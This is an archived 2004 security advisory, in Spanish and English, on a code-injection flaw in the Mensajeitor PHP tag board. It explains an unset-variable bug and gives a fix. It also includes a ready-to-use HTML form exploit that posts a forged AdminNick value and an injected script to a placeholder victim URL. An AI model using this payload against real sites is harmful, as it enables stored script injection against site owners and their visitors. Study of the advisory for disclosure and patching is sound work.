exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

leer_advisory.html

leer_advisory.html
Posted Jul 27, 2004
Authored by Jordi Corrales | Site shellsec.net

An authentication error in Mensajeitor allows users to post messages with administrative privileges.

tags | advisory
SHA-256 | 291267c432e66e9bfea519ab11126bb85b5315d038d9b6ec81877b346c0c1ca8

leer_advisory.html

Change Mirror Download
<body bgcolor="#ffffff" link="#1d5f78" vlink="#1d5f78" alink="#1d5f78" leftmargin="0" topmargin="0" rightmargin="0" bottommargin="0" marginheight="0" marginwidth="0">
<table>
<tr><td>
<table width="100%" height="23" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td height="23" bgcolor="#eeeeee"><div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Inyección de código en 'Mensajeitor' <= 1.8.9 r1</strong></font></div></td>
</tr>
</tbody></table></div>
</td>
</tr>
</tbody></table></td>
<td> </td>
</tr>
<tr>
<td width="2%"> </td>
<td width="96%"><div align="justify"></div></td>
<td width="2%"> </td>
</tr>
<tr>

<td> </td>
<td><div align="justify"><strong>- 1 - Introducción - <font color="#000066">Intro</font></strong>
<hr>
<p> Mensajeitor ( <a href="http://www.mensajeitor.com/">http://www.mensajeitor.com </a>)
es un tag board, en el cual los visitantes pueden insertar su nick y un
mensaje en la página web donde se encuentra instalado; se puede
descargar para instalar en cualquier pagina web o un modulo que se
integra en PHP-Nuke. Las pruebas realizadas han sido sobre la versión
v1.8.9 r1, por lo cual las versiones anteriores tambien pueden ser
vulnerables." <br>
<font color="#000066"><br> Mensajeitor is
a kind of tag board, in which the visitors can insert his nick and a
message in the web page where its installed. The tests have been on
the version v1.8.9 r1, thus the previous versions must be vulnerable
also</font>.<br>
</p>
<strong>- 2 - Descripción de la vulnerabilidad - <font color="#000066">Vulnerability description</font></strong>
<hr>
<p>Código:</p>
<p> <font size="2" face="Courier New, Courier, mono">  for($i=0;$i<count($NicksRegs);$i++) { <br>
    list($admin_nick,$admin_pass) = explode(":",$NicksRegs[$i]); <br>
<br>
    if ($nick == $admin_nick) { <br>
       $cadena_final .= "<span class=\"admin\">".$nick."</span>"; <br>
       $AdminNick = "si"; <br>
    } <br>
  } <br>
<br>
  if ($AdminNick != "si") { <br>
    $cadena_final .= "<acronym title='".nickinfo($nick_info)."'>$nick</acronym>"; <br>
  } </font></p>
<p>
En el código anterior, se comprueba si el nick que vamos a usar es el
del admin y si lo es, da un valor de como mostrará el texto en la
variable $cadena_final, fijando el valor "si" a la variable AdminNick
en caso de ser el administrador. Si AdminNick no es "si", fija el texto
como un nick normal. <br>
<br> El problema esta en que en ningun momento unsetea AdminNick , ni
pone un else si el nick no es del de admin y pusiera $AdminNick="no". <br>
<br> Así que cuando se envian las variables para insertar un comentario
nuevo, podemos añadir AdminNick=si , como el nick que usaremos no es el
de admin , no pondrá valor a $cadena_final , pero como $AdminNick
aparece como "si" , tampoco dará valor de usuario normal, por lo que
$cadena_final en ningun momento le da valor alguno, es entonces cuando
podemos también enviarle que valor queremos que tenga. <br>
<br> El valor que se le dará será </table> al principio para que
cierre la tabla e interprete el codigo que se le inserte, despues de
esto podemos poner codigo html, javascript, vbs, o lo que se quiera. </p>
<p><font color="#000066">In
the previous code, it is verified if nick that we are going to use is
the one of admin and if it is it, gives a value of as it shows the text
in the variable $cadena_final, fixing the value "si" in the variable
AdminNick to case of being the administrator. If AdminNick is not "si",
it fixes the text like a normal nick. </font></p>
<p><font color="#000066">The problem is that AdminNick is never unset and no puts an 'else' if nick is not admin.</font></p>
<p> </p>
<strong>- 3 - Forma de explotar esta vulnerabilidad - <font color="#000066">How to exploit it </font></strong>
<hr>
<p> Solo hay que cambiar "http://www.victima.com/mensajeitor.php" por la web vulnerable. </p>
<p><font color="#000066">Only change "http://www.victima.com/mensajeitor.php" with the vulnerable web. </font></p>
<p><font size="2">--------------------- CUT HERE ---------------------</font></p>
<p> <font size="2" face="Courier New, Courier, mono"><html> <br>
<head><title>Mensajeitor Exploit</title></head> <br>
<body> <br>
Inyeccion codigo en Mensajeitor =< v1.8.9 r1<br><br> <br>
<br>
<form name="form1" method="post" action="http://www.victima.com/mensajeitor.php"> <br>
    <input type="text" name="nick" size="10" value="Nick" maxlength="9"><br> <br>
    <input type="text" name="titulo" size="21" value="Mensaje"><br> <br>
    <input type="text" name="url" size="21" value="http://"><br> <br>
    <input type="hidden" name="AdminNick" value="si"><br> <br>
    Introduce codigo a insertar (</table> debe incluirse al principio)<br> <br>
    <input type="text" name="cadena_final" size="75%"
value="</table><script>alert('hacked
;)')</script>"><br> <br>
    <input type="submit" name="enviar" value="Enviar" class="form"><br> <br>
</form> <br>
<br>
MensajeitorPHP propiedad de aaff.<br> <br>
By Jordi Corrales (Shell Security Group, http://www.shellsec.net) <br>
</body></html> </font></p>
<p><font size="2">--------------------- CUT HERE ---------------------</font></p><br>
<strong>-</strong><strong> 4 - Solución - <font color="#000066">Solution </font></strong><br>
<hr>
<p><br>
Como solucion temporal hasta que salga una corrección oficial podemos poner en mensajeitor.php la siguiente linea: <br>
<br>
if ($cadena_final) { unset($cadena_final); } </p>
<p>(antes de  $nick = htmlspecialchars($nick);)<br>
<br>
<font color="#000066">Temporary solution:</font></p>
<p><font color="#000066">if ($cadena_final) { unset($cadena_final); } </font></p>
<p><font color="#000066">(before  $nick = htmlspecialchars($nick);)</font><br>
<br>
<br>
<strong>- 5 - Créditos - <font color="#000066">Credits </font></strong> </p>
<hr><br>
Autor: Jordi Corrales ( jordi[at]shellsec.net )<br>
Editor: Fernando Ortega ( fernando[at]shellsec.net )<br>
Fecha: 04 de Julio de 2004<br>
Url: <a href="http://www.shellsec.net/">http://www.shellsec.net</a><br>
Comentarios: Publicado también en <a href="http://cyruxnet.webcindario.com/viewtopic.php?t=499">http://cyruxnet.webcindario.com/viewtopic.php?t=499</a><br>
</div></td>
<td> </td>
</tr>
</tbody></table><br>
<font size="2" face="Verdana, Arial, Helvetica, sans-serif"></font></div></td>
</tr>
</tbody></table>
</div></td>
</tr>
</tbody></table>
<p>  </p>
</td>
<td width="2%" height="100" valign="top" bgcolor="#ffffff"></td>
</tr>
<tr>
<td height="62" colspan="4" valign="top" bgcolor="#ffffff"><div align="center">
<table width="751" height="19" border="0" align="left" cellpadding="0" cellspacing="0">
<tbody><tr>
<td width="325" height="19"> </td>
<td width="272"> </td>
<td width="154"> </td>
</tr>
</tbody></table>
<p> </p>
<table width="100%" height="21" border="0" cellspacing="0" bgcolor="#ffffff">
<tbody><tr>
<td height="21" bgcolor="#000000"><table width="100%" height="19" border="0" cellspacing="0">
<tbody><tr>
<td height="19" bgcolor="#d5d8dd"> <div align="center"> <font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong><font color="#ffffff">
<font color="#333333">La seguridad no es un concepto booleano,
si no un concepto cuantitativo</font><font color="#000000"><br>
Shell Security Group 2.003 </font></font><font color="#000000" size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>©</strong></font></strong></font></div></td>
</tr>
</tbody></table></td>
</tr>
</tbody></table>
</div></td>
</tr>
</tbody></table>
</div></td></tr></tbody></table></body></html>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close